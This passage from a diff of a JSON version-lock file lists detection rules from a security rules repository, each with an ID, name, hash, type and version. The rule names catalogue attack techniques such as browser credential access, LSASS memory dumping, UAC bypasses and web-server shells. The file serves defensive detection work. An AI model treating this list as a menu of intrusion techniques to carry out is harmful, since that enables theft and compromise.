"94e72ce4ad6b954cf01ab7f7a175c472e6936b75e330dec5da7847381fce4224", + "type": "eql", + "version": 3 + }, + "09d028a5-dcde-409f-8ae0-557cef1b7082": { + "rule_name": "Azure Frontdoor Web Application Firewall (WAF) Policy Deleted", + "sha256": "d2affe457c5a635a572b2b85ae763252a0f0269f17e458d5821017b17de7a9ca", + "type": "query", + "version": 2 + }, + "0a97b20f-4144-49ea-be32-b540ecc445de": { + "rule_name": "Malware - Detected - Elastic Endgame", + "sha256": "a721897ba5522f3f80de884490b7ec388a753c8679db97593a1f957a7bff12b2", + "type": "query", + "version": 7 + }, + "0b29cab4-dbbd-4a3f-9e8e-1287c7c11ae5": { + "rule_name": "Anomalous Windows Process Creation", + "sha256": "9e82b05aeb4575a98f709abc32dedcd6597e85d952b0f635e6e3efa77c34eea1", + "type": "machine_learning", + "version": 5 + }, + "0c7ca5c2-728d-4ad9-b1c5-bbba83ecb1f4": { + "rule_name": "Peripheral Device Discovery", + "sha256": "499dcd1aa2d62a15f68fa52d95b87511f7f4e14f24ffe83babb3e72e990ff81d", + "type": "eql", + "version": 3 + }, + "0c9a14d9-d65d-486f-9b5b-91e4e6b22bd0": { + "min_stack_version": "8.0", + "rule_name": "Threat Intel Indicator Match", + "sha256": "deec30795d7a848bc2ea99f29ec0e44c0d2cf9debfb593a497c818011477c718", + "type": "threat_match", + "version": 3 + }, + "0ce6487d-8069-4888-9ddd-61b52490cebc": { + "rule_name": "O365 Exchange Suspicious Mailbox Right Delegation", + "sha256": "584f6799b8d5a9a6c941ab48c63d054a539546425843ab0192ff084ffcae3c0f", + "type": "query", + "version": 2 + }, + "0d69150b-96f8-467c-a86d-a67a3378ce77": { + "rule_name": "Nping Process Activity", + "sha256": "4e12ac0fb84fd0825957284198b6a6419d7164c0a4bf84a19836ffe7a3839c86", + "type": "query", + "version": 7 + }, + "0d8ad79f-9025-45d8-80c1-4f0cd3c5e8e5": { + "rule_name": "Execution of File Written or Modified by Microsoft Office", + "sha256": "0f9353d514e91fcd914ee39f1c8abb89094025670de8bb9ddac6a07baf25365a", + "type": "eql", + "version": 5 + }, + "0e52157a-8e96-4a95-a6e3-5faae5081a74": { + "rule_name": "SharePoint Malware File Upload", + "sha256": "48df4cd6be0661df2216bfc2d74a9df628a612d04495422423eed07656ad1a47", + "type": "query", + "version": 1 + }, + "0e5acaae-6a64-4bbc-adb8-27649c03f7e1": { + "rule_name": "GCP Service Account Key Creation", + "sha256": "a9f964b598c41ad6f015eaff73303e9f70e8c87ce2bef2eeca17742e02ec14f5", + "type": "query", + "version": 5 + }, + "0e79980b-4250-4a50-a509-69294c14e84b": { + "rule_name": "MsBuild Making Network Connections", + "sha256": "0168b3528c17247ed5631843306c3123c740bbb190605452493031a938421f15", + "type": "eql", + "version": 8 + }, + "0f616aee-8161-4120-857e-742366f5eeb3": { + "rule_name": "PowerShell spawning Cmd", + "sha256": "02b0c2f928a762f61da9b493780d5fe36255c5565093c0d59db3776340a7b2be", + "type": "query", + "version": 8 + }, + "0f93cb9a-1931-48c2-8cd0-f173fd3e5283": { + "min_stack_version": "7.14.0", + "rule_name": "Potential LSASS Memory Dump via PssCaptureSnapShot", + "sha256": "549215ea3a624085dcc50282089306cd1d82418bedb7612fff262a1adde0d33c", + "type": "threshold", + "version": 2 + }, + "0ff84c42-873d-41a2-a4ed-08d74d352d01": { + "rule_name": "Privilege Escalation via Root Crontab File Modification", + "sha256": "2149a008d62b8e6a983abd178158948e2c370183a4e070931806ebd07b620ec7", + "type": "query", + "version": 1 + }, + "10a500bb-a28f-418e-ba29-ca4c8d1a9f2f": { + "rule_name": "WebProxy Settings Modification", + "sha256": "5ceeed56054e254ddd1b7d9f6d34b66810422a1b885570227b5b24b1df1f5a1c", + "type": "query", + "version": 2 + }, + "11013227-0301-4a8c-b150-4db924484475": { + "rule_name": "Abnormally Large DNS Response", + "sha256": "b1ff9083e41b85fbc22c312e1c5407ff831202a02bf5a4f620a25f4109aa99d6", + "type": "query", + "version": 6 + }, + "1160dcdb-0a0a-4a79-91d8-9b84616edebd": { + "rule_name": "Potential DLL SideLoading via Trusted Microsoft Programs", + "sha256": "683cd269e40b092fff232c56fb89929f544f1bc09566ef0e03053ce621503fdc", + "type": "eql", + "version": 5 + }, + "1178ae09-5aff-460a-9f2f-455cd0ac4d8e": { + "rule_name": "UAC Bypass via Windows Firewall Snap-In Hijack", + "sha256": "f7a9a22c1a88de514cbe1dae2e20a6e83de0000461b15d949b649704273c9498", + "type": "eql", + "version": 4 + }, + "119c8877-8613-416d-a98a-96b6664ee73a": { + "rule_name": "AWS RDS Snapshot Export", + "sha256": "03dc719901ede4c776db56acbb5acf4106c348b9dd70cd6ec496d0d734175124", + "type": "query", + "version": 1 + }, + "119c8877-8613-416d-a98a-96b6664ee73a5": { + "rule_name": "AWS RDS Snapshot Export", + "sha256": "dc07a6005a4da8eea9b23185abaf24f9db9fbe2271e4c8ddc3f39f020a9ea3d0", + "type": "query", + "version": 2 + }, + "11ea6bec-ebde-4d71-a8e9-784948f8e3e9": { + "rule_name": "Third-party Backup Files Deleted via Unexpected Process", + "sha256": "6937bd14a24a894d160dfabe3efe0d868b8952a006578c810d3d7b0492c31680", + "type": "eql", + "version": 2 + }, + "12051077-0124-4394-9522-8f4f4db1d674": { + "rule_name": "AWS Route 53 Domain Transfer Lock Disabled", + "sha256": "8ad6cbdd0db141f7bd71e7d4b28197c28f709d99d8a641eaee4b763c35a8514f", + "type": "query", + "version": 1 + }, + "120559c6-5e24-49f4-9e30-8ffe697df6b9": { + "rule_name": "User Discovery via Whoami", + "sha256": "226bffc8f05628ba3e39c84344b42aff68d3c0a8ad10612929d4cb704d902d3e", + "type": "query", + "version": 7 + }, + "125417b8-d3df-479f-8418-12d7e034fee3": { + "rule_name": "Attempt to Disable IPTables or Firewall", + "sha256": "7852c6d19ed6216fb60c46fdeffb6d109d509b83ed076aab9240c57540fc2960", + "type": "query", + "version": 7 + }, + "12f07955-1674-44f7-86b5-c35da0a6f41a": { + "rule_name": "Suspicious Cmd Execution via WMI", + "sha256": "120221c53163f94f7921394a5239a48a64c87bc263ebcb4fabe661f2813d19a9", + "type": "eql", + "version": 3 + }, + "1327384f-00f3-44d5-9a8c-2373ba071e92": { + "rule_name": "Persistence via Scheduled Job Creation", + "sha256": "7b02935da719949670e9b9601000c344b1f818124e52ac762cf52c3df244806a", + "type": "eql", + "version": 2 + }, + "138c5dd5-838b-446e-b1ac-c995c7f8108a": { + "min_stack_version": "7.14.0", + "rule_name": "Rare User Logon", + "sha256": "f9e949d45ac4dc51bd454d12b2bd60ec23f8fe3d5ee9a15595a4663248317d73", + "type": "machine_learning", + "version": 3 + }, + "139c7458-566a-410c-a5cd-f80238d6a5cd": { + "rule_name": "SQL Traffic to the Internet", + "sha256": "26fce2242bdb3d7341ec772772151eae5dfe28e3f14a60bbe586e0d5d5842ad7", + "type": "query", + "version": 8 + }, + "141e9b3a-ff37-4756-989d-05d7cbf35b0e": { + "rule_name": "Azure External Guest User Invitation", + "sha256": "a84027bf00f826384a1ba67bcc0f221a6ec9b4a6f53e2e48ab8f792f7363df7f", + "type": "query", + "version": 5 + }, + "143cb236-0956-4f42-a706-814bcaa0cf5a": { + "rule_name": "RPC (Remote Procedure Call) from the Internet", + "sha256": "8fb78fd8caf9f2c543f7a8496f9d8f54d2c309b521d9b3f1d1afb9174b6c6068", + "type": "query", + "version": 11 + }, + "14ed1aa9-ebfd-4cf9-a463-0ac59ec55204": { + "rule_name": "Potential Persistence via Time Provider Modification", + "sha256": "16e54b31547c5f1dc1b16ad82368432904753d296f9df8aa69d20c61d4d9b3e1", + "type": "eql", + "version": 2 + }, + "15a8ba77-1c13-4274-88fe-6bd14133861e": { + "rule_name": "Scheduled Task Execution at Scale via GPO", + "sha256": "33fa48cfd6c384e6dcf0a5af2d62090fd89307e136c5ef798efbe745e8324466", + "type": "query", + "version": 2 + }, + "15c0b7a7-9c34-4869-b25b-fa6518414899": { + "rule_name": "Remote File Download via Desktopimgdownldr Utility", + "sha256": "50ec2f5b9815c5cc153531c5a3d35d9393e03eb4c668ffd62c97b1e2efd616ff", + "type": "eql", + "version": 5 + }, + "15dacaa0-5b90-466b-acab-63435a59701a": { + "rule_name": "Virtual Private Network Connection Attempt", + "sha256": "dce41c54cfb048f038e53c478c4df69a51ccb8580b2d1017f26d9c59bab389d3", + "type": "eql", + "version": 1 + }, + "16280f1e-57e6-4242-aa21-bb4d16f13b2f": { + "rule_name": "Azure Automation Runbook Created or Modified", + "sha256": "255c2d46d1242a17eb61b119f3ca491cfca8ed4f92271129b91f875b8d820350", + "type": "query", + "version": 5 + }, + "16904215-2c95-4ac8-bf5c-12354e047192": { + "rule_name": "Potential Kerberos Attack via Bifrost", + "sha256": "82021c6bdc0d1e0276714a56622c6195c0745e9c8d37dfa3e179111be9f3c8f7", + "type": "query", + "version": 2 + }, + "169f3a93-efc7-4df2-94d6-0d9438c310d1": { + "rule_name": "AWS IAM Group Creation", + "sha256": "d8a7a1b1bc8fedcd6d1ed0b5140a74ad097b382d1b33516d6dd4b476ed086ab3", + "type": "query", + "version": 7 + }, + "16a52c14-7883-47af-8745-9357803f0d4c": { + "rule_name": "Component Object Model Hijacking", + "sha256": "975fcc9572e8117b283322c180c833044bcd17bf6caf3fb3758f1b06c6c48351", + "type": "eql", + "version": 6 + }, + "16fac1a1-21ee-4ca6-b720-458e3855d046": { + "rule_name": "Startup/Logon Script added to Group Policy Object", + "sha256": "2efc5fbfcc942c4b9524b11fc28cd6e721a37c7c5c1936c95b9361a2d0a15622", + "type": "query", + "version": 2 + }, + "1781d055-5c66-4adf-9c59-fc0fa58336a5": { + "rule_name": "Unusual Windows Username", + "sha256": "15ad86ffb8402c2acabbd69bc91cf276320fbefe605de2f336f02d46936242a4", + "type": "machine_learning", + "version": 7 + }, + "1781d055-5c66-4adf-9c71-fc0fa58338c7": { + "rule_name": "Unusual Windows Service", + "sha256": "2056eb4358a68b426256be231c045180bdc5ed38f6ea5b6f8140d1656c102a7d", + "type": "machine_learning", + "version": 4 + }, + "1781d055-5c66-4adf-9d60-fc0fa58337b6": { + "rule_name": "Suspicious Powershell Script", + "sha256": "460a16a595ce6ae95c9edea03ef73004bc7c7308105aa6c9ea445cbde9af7acd", + "type": "machine_learning", + "version": 4 + }, + "1781d055-5c66-4adf-9d82-fc0fa58449c8": { + "rule_name": "Unusual Windows User Privilege Elevation Activity", + "sha256": "f379e94cb9af607a023c169713f9d08359187394314686ae5e0c9e90c0cfc475", + "type": "machine_learning", + "version": 4 + }, + "1781d055-5c66-4adf-9e93-fc0fa69550c9": { + "rule_name": "Unusual Windows Remote User", + "sha256": "56324808be7511810a3929fc18e87820ab588197a384e84b772bc3f2addc8841", + "type": "machine_learning", + "version": 5 + }, + "17c7f6a5-5bc9-4e1f-92bf-13632d24384d": { + "rule_name": "Suspicious Execution - Short Program Name", + "sha256": "3763b227c0acc1f158a5aafbc971558f823486f26d38ebc8633193bd1110f8d8", + "type": "eql", + "version": 3 + }, + "17e68559-b274-4948-ad0b-f8415bb31126": { + "rule_name": "Unusual Network Destination Domain Name", + "sha256": "4f247c995b369cacb22a5734b72185bd8dc067b58972e3e959245d9bf0d391ab", + "type": "machine_learning", + "version": 4 + }, + "184dfe52-2999-42d9-b9d1-d1ca54495a61": { + "rule_name": "GCP Logging Sink Modification", + "sha256": "545191239ffa25aad0736095596c8b1da4fe02b5853b7d098de97c66a389724f", + "type": "query", + "version": 5 + }, + "19de8096-e2b0-4bd8-80c9-34a820813fff": { + "rule_name": "Rare AWS Error Code", + "sha256": "59b061c54de834d4f8b093978bf45f2114bed02645ac3a05df8c21d94d0e692a", + "type": "machine_learning", + "version": 7 + }, + "1a36cace-11a7-43a8-9a10-b497c5a02cd3": { + "rule_name": "Azure Application Credential Modification", + "sha256": "6131c83a1cf59205fdd118cb16590961e705919f52e11aaf09b0c00bafc02db5", + "type": "query", + "version": 4 + }, + "1a6075b0-7479-450e-8fe7-b8b8438ac570": { + "rule_name": "Execution of COM object via Xwizard", + "sha256": "4776192663bb176f851e07e413ee7d932ecc34e7ad179253f59c2be526afec0e", + "type": "eql", + "version": 1 + }, + "1aa8fa52-44a7-4dae-b058-f3333b91c8d7": { + "rule_name": "AWS CloudTrail Log Suspended", + "sha256": "0cc28de03b95bd0c74e9d341f45454944363883a447d9c6f9a48eeb1451611c2", + "type": "query", + "version": 6 + }, + "1aa9181a-492b-4c01-8b16-fa0735786b2b": { + "rule_name": "User Account Creation", + "sha256": "2e6aba11ce3349c0f1b9d4e73146c40479f371af1fc28f299eadcfbcc8673748", + "type": "eql", + "version": 9 + }, + "1b21abcc-4d9f-4b08-a7f5-316f5f94b973": { + "rule_name": "Connection to Internal Network via Telnet", + "sha256": "a6045befcf940787d6b44aca3ba847602c79275a601616a8cb50d66f621907f4", + "type": "eql", + "version": 6 + }, + "1ba5160d-f5a2-4624-b0ff-6a1dc55d2516": { + "rule_name": "AWS ElastiCache Security Group Modified or Deleted", + "sha256": "3a5d842001943ed5db6ed5374d80c132f413d534608f6ddaddc2ea66b39ac2ff", + "type": "query", + "version": 2 + }, + "1c6a8c7a-5cb6-4a82-ba27-d5a5b8a40a38": { + "rule_name": "Possible Consent Grant Attack via Azure-Registered Application", + "sha256": "0e87841dc0e6587203b2e298d78fa79c2d4f1aaff4b20d4407ef3c04734ae5ce", + "type": "query", + "version": 5 + }, + "1c966416-60c1-436b-bfd0-e002fddbfd89": { + "rule_name": "Azure Kubernetes Rolebindings Created", + "sha256": "0edd2adb2012b1367353ef756b0ec88867a5ed19d5dc243f991845cf5b9d9e2a", + "type": "query", + "version": 1 + }, + "1cd01db9-be24-4bef-8e7c-e923f0ff78ab": { + "rule_name": "Incoming Execution via WinRM Remote Shell", + "sha256": "668b31747084485dad1344c6ae9695fbb86ac6b3c11bc427b08cce2b1e9cf791", + "type": "eql", + "version": 4 + }, + "1d276579-3380-4095-ad38-e596a01bc64f": { + "rule_name": "Remote File Download via Script Interpreter", + "sha256": "db68a6ddeb9ff20f43c047dcd1de97515eb952ee0c23b9d232e35a0786a7b71c", + "type": "eql", + "version": 3 + }, + "1d72d014-e2ab-4707-b056-9b96abe7b511": { + "rule_name": "External IP Lookup from Non-Browser Process", + "sha256": "713f215dd72eac1c0676cf847d9f30d87ba3c2ff376db9f225c99d4433c1eb02", + "type": "eql", + "version": 7 + }, + "1dcc51f6-ba26-49e7-9ef4-2655abb2361e": { + "rule_name": "UAC Bypass via DiskCleanup Scheduled Task Hijack", + "sha256": "8b2934c92efde1fe5d402ceab8608bcc234ea06b4959f1fc4244a554402d7fd0", + "type": "eql", + "version": 6 + }, + "1defdd62-cd8d-426e-a246-81a37751bb2b": { + "rule_name": "Execution of File Written or Modified by PDF Reader", + "sha256": "addced6abf8dc7f24872880d268564ecb42c37637279c57f635c19123b951d91", + "type": "eql", + "version": 4 + }, + "1e0b832e-957e-43ae-b319-db82d228c908": { + "rule_name": "Azure Storage Account Key Regenerated", + "sha256": "713e83e5cc4759b596713bad5c8b20ca123335d567bb2fe189ba8f139cd87b0f", + "type": "query", + "version": 5 + }, + "1e9fc667-9ff1-4b33-9f40-fefca8537eb0": { + "rule_name": "Unusual Sudo Activity", + "sha256": "ea35fdcda2944c1f32b9212d1a678d78dbb16552282224aaba7c0cf16fd29716", + "type": "machine_learning", + "version": 2 + }, + "1faec04b-d902-4f89-8aff-92cd9043c16f": { + "rule_name": "Unusual Linux User Calling the Metadata Service", + "sha256": "d8647d38ddacdcf88500083f0009fe8c6bf67cbfa193518c40becdf8c8120be3", + "type": "machine_learning", + "version": 3 + }, + "1fe3b299-fbb5-4657-a937-1d746f2c711a": { + "rule_name": "Unusual Network Activity from a Windows System Binary", + "sha256": "db699aa748d2368754bd1425dd417d14af479b9812bd1bd1b30fcfdaa28a8a59", + "type": "eql", + "version": 2 + }, + "2003cdc8-8d83-4aa5-b132-1f9a8eb48514": { + "rule_name": "Exploit - Detected - Elastic Endgame", + "sha256": "f2122f6b1acdab49ad7f6bfc06655f446578271776fd3cf5b24413d055341f10", + "type": "query", + "version": 7 + }, + "201200f1-a99b-43fb-88ed-f65a45c4972c": { + "rule_name": "Suspicious .NET Code Compilation", + "sha256": "5e7be99268fbc7605ca567d2dc6d1cb1fd554771d9f92fb62f0d4e00f780a896", + "type": "eql", + "version": 5 + }, + "203ab79b-239b-4aa5-8e54-fc50623ee8e4": { + "rule_name": "Creation or Modification of Root Certificate", + "sha256": "530e80dcf00f3d075008dc84df00d8ae307d4cafe4bb16d2f9afe00d7a66e8d6", + "type": "eql", + "version": 1 + }, + "2045567e-b0af-444a-8c0b-0b6e2dae9e13": { + "rule_name": "AWS Route 53 Domain Transferred to Another Account", + "sha256": "927ea25a70453624aa091c7fbb432f35923391e79036d62806e4d9aef78dc909", + "type": "query", + "version": 1 + }, + "20457e4f-d1de-4b92-ae69-142e27a4342a": { + "rule_name": "Access of Stored Browser Credentials", + "sha256": "70475c97c91896aca0fdd68519bec234ff444f48d2bbbdafb7da5a1da5944868", + "type": "eql", + "version": 1 + }, + "20dc4620-3b68-4269-8124-ca5091e00ea8": { + "rule_name": "Auditd Max Login Sessions", + "sha256": "70f4efe66d78f8696efee5cf24c949aa421b1983ddb6a69944cae1e300da5a37", + "type": "query", + "version": 1 + }, + "2215b8bd-1759-4ffa-8ab8-55c8e6b32e7f": { + "rule_name": "SSH Authorized Keys File Modification", + "sha256": "e09b4081f8a3699114c413d133c7a1ac52dd6117fb38c45ad5a7e571ae266b0d", + "type": "query", + "version": 1 + }, + "22599847-5d13-48cb-8872-5796fee8692b": { + "rule_name": "SUNBURST Command and Control Activity", + "sha256": "f653154c491692a6cb83869048a8f92af0b6bd245f2161717df86a6aadd43a15", + "type": "eql", + "version": 4 + }, + "227dc608-e558-43d9-b521-150772250bae": { + "rule_name": "AWS S3 Bucket Configuration Deletion", + "sha256": "75a57f1c9430b9bdb9d55f9a4fff16d0dc5f6d7ac51ae2012e3afa5bce80cb1f", + "type": "query", + "version": 6 + }, + "231876e7-4d1f-4d63-a47c-47dd1acdc1cb": { + "rule_name": "Potential Shell via Web Server", + "sha256": "20778cf6abac89fc8fe2c2a7c71dcd89074aa9da95a0c2bc14d9fd694fc7b9f4", + "type": "query", + "version": 9 + }, + "2326d1b2-9acf-4dee-bd21-867ea7378b4d": { + "rule_name": "GCP Storage Bucket Permissions Modification", + "sha256": "bb8096354dce3087fc76625206e23fdf959a562504690ddde6c4e4e937092ce0", + "type": "query", + "version": 5 + }, + "25224a80-5a4a-4b8a-991e-6ab390465c4f": { + "rule_name": "Lateral Movement via Startup Folder", + "sha256": "541c555ba3d9c4e25fdeed71f0c1033b4c3f0ffcfabf9a5ea94828114d63cefc", + "type": "eql", + "version": 3 + }, + "2636aa6c-88b5-4337-9c31-8d0192a8ef45": { + "rule_name": "Azure Blob Container Access Level Modification", + "sha256": "64a8b7c2b0532a18d1e94f963c74136c3cdf97ace12540d5e9daf5af4455fc14", + "type": "query", + "version": 5 + }, + "265db8f5-fc73-4d0d-b434-6483b56372e2": { + "rule_name": "Persistence via Update Orchestrator Service Hijack", + "sha256": "2fde8b5429bcf1a32d15d54f96a2386179c681a0bc3e5eca71ac09eaa51272ad", + "type": "eql", + "version": 4 + }, + "26edba02-6979-4bce-920a-70b080a7be81": { + "rule_name": "Azure Active Directory High Risk User Sign-in Heuristic", + "sha256": "fec04f92c2b0f57675047b2adea17e89769476a9e131eb9ce8330f4e46399d8c", + "type": "query", + "version": 1 + }, + "26f68dba-ce29-497b-8e13-b4fde1db5a2d": { + "rule_name": "Attempts to Brute Force a Microsoft 365 User Account", + "sha256": "b719addb4a6a57230aae3cc40562471814fa8acd231367bd19680f1898915bdc", + "type": "threshold", + "version": 6 + }, + "272a6484-2663-46db-a532-ef734bf9a796": { + "rule_name": "Microsoft 365 Exchange Transport Rule Modification", + "sha256": "b0561460404e467a6624cb6966703895e888d6dfa8ff1700ff3a94fcfde9c5c5", + "type": "query", + "version": 5 + }, + "2772264c-6fb9-4d9d-9014-b416eed21254": { + "rule_name": "Incoming Execution via PowerShell Remoting", + "sha256": "25e969879796bbb0d8b68a24c97e5ec6505eced63d6971bc75ee9454d104b3d4", + "type": "eql", + "version": 4 + }, + "2783d84f-5091-4d7d-9319-9fceda8fa71b": { + "rule_name": "GCP Firewall Rule Modification", + "sha256": "1d74ec0969839420f2e03143d2b535768a053e2d0107ef6ca49719cfe92adb03", + "type": "query", + "version": 5 + }, + "27f7c15a-91f8-4c3d-8b9e-1f99cc030a51": { + "rule_name": "Microsoft 365 Teams External Access Enabled", + "sha256": "2128fba8e36ba35ec3b5e45def2d5ec1cef564aff7859deaa5891a458edd7576", + "type": "query", + "version": 5 + }, + "2820c9c2-bcd7-4d6e-9eba-faf3891ba450": { + "rule_name": "Account Password Reset Remotely", + "sha256": "5204940ed9faa7c63a7a0085cbc43c3f6873c63e917c5cb5ec3644572c5cf9ca", + "type": "eql", + "version": 2 + }, + "2856446a-34e6-435b-9fb5-f8f040bfa7ed": { + "rule_name": "Net command via SYSTEM account", + "sha256": "5e35b7ace9af65eee277e440fbb6659768d0caf5ab49a5179222cde8b4410fa1", + "type": "eql", + "version": 9 + }, + "2863ffeb-bf77-44dd-b7a5-93ef94b72036": { + "rule_name": "Exploit - Prevented - Elastic Endgame", + "sha256": "148f9ae24ebe6ecc8e536ef7c3a01267783438c802cd162447623fe2a303902e", + "type": "query", + "version": 7 + }, + "28896382-7d4f-4d50-9b72-67091901fd26": { + "rule_name": "Suspicious Process from Conhost", + "sha256": "b448efa8a3877578f365cdb010bb962b005c00c8233afaf30bdf8c06784f6dc1", + "type": "eql", + "version": 4 + }, + "29052c19-ff3e-42fd-8363-7be14d7c5469": { + "rule_name": "AWS Security Group Configuration Change Detection", + "sha256": "e612f03f7184fa5ee1e8c62b3508e133ac925898424f7350dd6fa8550331ceb7", + "type": "query", + "version": 3 + }, + "290aca65-e94d-403b-ba0f-62f320e63f51": { + "rule_name": "UAC Bypass Attempt via Windows Directory Masquerading", + "sha256": "37eb08a6a2e77c04289f41edc70fe76cf6ce25f43d79fad419ffcfaf17ab6ff7", + "type": "eql", + "version": 4 + }, + "2917d495-59bd-4250-b395-c29409b76086": { + "rule_name": "Webshell Detection: Script Process Child of Common Web Processes", + "sha256": "71c8450638f4fe25ff585483564b55ea9fa82c2e4bf431ada7dd963a5b4c5e22", + "type": "eql", + "version": 3 + }, + "291a0de9-937a-4189-94c0-3e847c8b13e4": { + "rule_name": "Enumeration of Privileged Local Groups Membership", + "sha256": "10a0ac7664c24449518000fd745408481a284e5530621bcb46bd09274cb30517", + "type": "eql", + "version": 2 + }, + "2bf78aa2-9c56-48de-b139-f169bf99cf86": { + "rule_name": "Adobe Hijack Persistence", + "sha256": "b855256f23054ec5025f78c2ec0ddd70e36ef7b16856700f208936300525f544", + "type": "eql", + "version": 9 + }, + "2c17e5d7-08b9-43b2-b58a-0270d65ac85b": { + "rule_name": "Windows Defender Exclusions Added via PowerShell", + "sha256": "86c10cc273bb5574a224ca30d1328be55d25c8c2b6fb7b02aa04e84f65778038", + "type": "eql", + "version": 6 + }, + "2d8043ed-5bda-4caf-801c-c1feb7410504": { + "rule_name": "Enumeration of Kernel Modules", + "sha256": "f78114d6df86b5c2843abb41b8c64f807f94962e9ac46f1e19b5775d401ce38b", + "type": "query", + "version": 6 + }, + "2dd480be-1263-4d9c-8672-172928f6789a": { + "rule_name": "Suspicious Process Access via Direct System Call", + "sha256": "c3726db2dfd855db109944def0676bf91e1eba2881adaf2f1f0f76b2ae14e555", + "type": "eql", + "version": 2 + }, + "2de10e77-c144-4e69-afb7-344e7127abd0": { + "rule_name": "O365 Excessive Single Sign-On Logon Errors", + "sha256": "83edd5ea4f7c27a4c4dbe143e79f097c6974e9b6641a6c4e7ad6cc709c75d4ca", + "type": "threshold", + "version": 4 + }, + "2e1e835d-01e5-48ca-b9fc-7a61f7f11902": { + "rule_name": "Renamed AutoIt Scripts Interpreter", + "sha256": "2fe8c86abbc5b90c04c50b2d75bc279a82b4ca5b5b9075830ede2cb576e81d8a", + "type": "eql", + "version": 5 + }, + "2e29e96a-b67c-455a-afe4-de6183431d0d": { + "rule_name": "Potential Process Injection via PowerShell", + "sha256": "9a94bd09a73f383701fd95cad27beec422c1ffddbfe186463b5fa61733bb2d16", + "type": "query", + "version": 3 + }, + "2e580225-2a58-48ef-938b-572933be06fe": { + "rule_name": "Halfbaked Command and Control Beacon", + "sha256": "85ef581fbbbf8ee9caeac93bf4e6a8fb80e01ff41ddc66b44474e8ddd9c66954", + "type": "query", + "version": 6 + }, + "2edc8076-291e-41e9-81e4-e3fcbc97ae5e": { + "rule_name": "Creation of a Hidden Local User Account", + "sha256": "73d4fb8598a974e4c18b6e713228bdddad082fccbb5b41ead57a9a8a31c0d429", + "type": "eql", + "version": 2 + }, + "2f0bae2d-bf20-4465-be86-1311addebaa3": { + "rule_name": "GCP Kubernetes Rolebindings Created or Patched", + "sha256": "db6cd2a29bf48936d744aa3859daa68606c4d83a43bf252be9930a0fabb253e3", + "type": "query", + "version": 2 + }, + "2f2f4939-0b34-40c2-a0a3-844eb7889f43": { + "rule_name": "PowerShell Suspicious Script with Audio Capture Capabilities", + "sha256": "d7898ac8939e5614c533f409847a25d00fa7b6de74838a8d8c8c62f4825b7e18", + "type": "query", + "version": 4 + }, + "2f8a1226-5720-437d-9c20-e0029deb6194": { + "rule_name": "Attempt to Disable Syslog Service", + "sha256": "dfe5b7e2dfdfef3b551d95c11686821ad9a6ac5e23d9c1fdf901d716bc7969e6", + "type": "query", + "version": 7 + }, + "2fba96c0-ade5-4bce-b92f-a5df2509da3f": { + "rule_name": "Startup Folder Persistence via Unsigned Process", + "sha256": "88d50c899d049787cadcf825cd76a12de950a6f91cbd75e64461970a259ac97d", + "type": "eql", + "version": 2 + }, + "2ffa1f1e-b6db-47fa-994b-1512743847eb": { + "rule_name": "Windows Defender Disabled via Registry Modification", + "sha256": "96d60aedac6a331445e99ddf32dc6532401ff7ce7eeeaa45b07121449be5e805", + "type": "eql", + "version": 4 + }, + "30562697-9859-4ae0-a8c5-dab45d664170": { + "rule_name": "GCP Firewall Rule Creation", + "sha256": "33b768a4456770f5a2eb024ab81e723b4ed3a53b57ebcea0b5130fc245fd6b85", + "type": "query", + "version": 5 + }, + "3115bd2c-0baa-4df0-80ea-45e474b5ef93": { + "min_stack_version": "7.15.0", + "rule_name": "Agent Spoofing - Mismatched Agent ID", + "sha256": "cb10ec3e256bf22234266e706b1f392088ccf60b2e48ea27893d6b4eb27a2e8b", + "type": "query", + "version": 2 + }, + "31295df3-277b-4c56-a1fb-84e31b4222a9": { + "rule_name": "Inbound Connection to an Unsecure Elasticsearch Node", + "sha256": "c30b4dbb58d32a0f0bb0e4cd56091741708bc6a1a3532af6bf2bf17b00a21861", + "type": "query", + "version": 5 + }, + "31b4c719-f2b4-41f6-a9bd-fce93c2eaf62": { + "rule_name": "Bypass UAC via Event Viewer", + "sha256": "421f583913289f650fdbca557ec44f107d75e90f35328801d816546f8d74b471", + "type": "eql", + "version": 9 + }, + "3202e172-01b1-4738-a932-d024c514ba72": { + "rule_name": "GCP Pub/Sub Topic Deletion", + "sha256": "a1de315cc54aa0aaf8d5b2db8091cf72a7f1ff49d92e382fb790fec77a936ab5", + "type": "query", + "version": 6 + }, + "323cb487-279d-4218-bcbd-a568efe930c6": { + "rule_name": "Azure Network Watcher Deletion", + "sha256": "d42fae44d101f779758e4abaaac8cca749d7db643f3b825cdd3787e5c6a81355", + "type": "query", + "version": 6 + }, + "32923416-763a-4531-bb35-f33b9232ecdb": { + "rule_name": "RPC (Remote Procedure Call) to the Internet", + "sha256": "a24945bab294eaacfcf22ab684f83b21b48698fc1861f44d1ac9c1c11fc23181", + "type": "query", + "version": 11 + }, + "32c5cf9c-2ef8-4e87-819e-5ccb7cd18b14": { + "rule_name": "Program Files Directory Masquerading", + "sha256": "100633b626385b80ba08306d8456dba05e19987f73a770f60c48334a04297eb2", + "type": "eql", + "version": 6 + }, + "32f4675e-6c49-4ace-80f9-97c9259dca2e": { + "rule_name": "Suspicious MS Outlook Child Process", + "sha256": "cc833cab5c0e547e8cccc3b115f8f6e99921d98eed41251c06cac69498d49119", + "type": "eql", + "version": 9 + }, + "333de828-8190-4cf5-8d7c-7575846f6fe0": { + "rule_name": "AWS IAM User Addition to Group", + "sha256": "6e01c88d75910af821e1f30d5bd7080c279e17c8283814a231ace540228449b0", + "type": "query", + "version": 6 + }, + "33f306e8-417c-411b-965c-c2812d6d3f4d": { + "rule_name": "Remote File Download via PowerShell", + "sha256": "0eea43805ecd683b5a20d92763182a589a053f2b3f85e7cd328ff4697555f1a3", + "type": "eql", + "version": 3 + }, + "34fde489-94b0-4500-a76f-b8a157cf9269": { + "rule_name": "Telnet Port Activity", + "sha256": "3dd4a438c915920e6ddb0a5212603af5d94fb8a6b51a32f223d930d7e3becb89", + "type": "query", + "version": 9 + }, + "35330ba2-c859-4c98-8b7f-c19159ea0e58": { + "rule_name": "Execution via Electron Child Process Node.js Module", + "sha256": "244d04452b6c549e3bdb8a09990c159076e5b753b56ecd32209f2812d411b7f0", + "type": "query", + "version": 1 + }, + "3535c8bb-3bd5-40f4-ae32-b7cd589d5372": { + "rule_name": "Port Forwarding Rule Addition", + "sha256": "9686d00619c4eda20f8030f22542ba81410c031fa79e8a87712bd72e22b5d96b", + "type": "eql", + "version": 5 + }, + "35df0dd8-092d-4a83-88c1-5151a804f31b": { + "rule_name": "Unusual Parent-Child Relationship", + "sha256": "426406e1faa8b58d4d556183c34bdb0f14ecce1c81feafbea403b0802d962ef1", + "type": "eql", + "version": 10 + 